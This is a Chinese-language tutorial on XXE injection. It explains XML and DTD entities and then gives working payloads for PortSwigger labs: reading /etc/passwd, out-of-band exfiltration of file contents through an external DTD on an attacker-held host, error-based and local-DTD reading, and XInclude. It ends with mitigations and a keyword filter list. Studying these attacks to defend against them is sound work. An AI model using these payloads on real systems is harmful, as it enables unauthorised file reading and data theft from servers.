XXE

Chiexf Lv4

0x00 基础知识

什么是XML?

XML 指可扩展标记语言,被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。

XML格式

  • XML 文档第一行以 XML 声明开始,用来表述文档的一些信息(版本,编码信息)
1
<?xml version="1.0" encoding="UTF-8"?>
  • DTD 文档类型定义(DTD)可定义合法的XML文档构建模块,可被成行地声明于 XML 文档中,也可作为一个外部引用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Dont forget me this weekend</body>
</note>
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?> <!--XML声明-->
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<foo>&xxe;</foo>

实体

内部实体

外部实体

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///path/file" >]>
<creds>
<user>&xxe;</user>
</creds>

参数实体

  • 使用 % 实体名 ;在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>

各语言XML解析支持的协议

注意:

  • 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
  • libxml 是 PHP 的 xml 支持

0x01 入门

什么是XML实体注入?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XML实体注入原理

用户输入的数据被当做XML实体代码进行执行。

0x02 漏洞利用

实验靶场

https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection

回显读取文件

payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>

无回显读取文件

  • 通过构造一个带外的url将数据带出。

payload:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "my.dtd-url"> <!-- mydtd放在自己服务器的外部实体 -->
%xxe;
]>

my.dtd内容:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'my.dtd-url?x=%file;'>">
%eval;
%exfil;

注:文件中包含的换行符可以使用 FTP 协议而不是 HTTP协议。

报错回显读取文件

  • 通过触发 XML 解析错误,其中错误消息包含希望检索的敏感数据。

payload:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "my.dtd-url">
%xxe;
]>

my.dtd内容:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///do-not-exist/%file;'>"> <-- do-not-exist文件不存在 -->
%eval;
%error;

利用本地DTD读取文件

查找本地DTD:

1
2
3
4
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///local.dtd">
%local_dtd;
]>

payload:重写覆盖掉local-dtd中的实体。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///local.dtd">
<!ENTITY % local.dtd-entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///do-not-exist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

利用 XInclude 检索文件

payload:

1
2
3
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

0x03 漏洞修复

禁用外部实体解析

禁用对XInclude的支持

过滤关键词

1
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC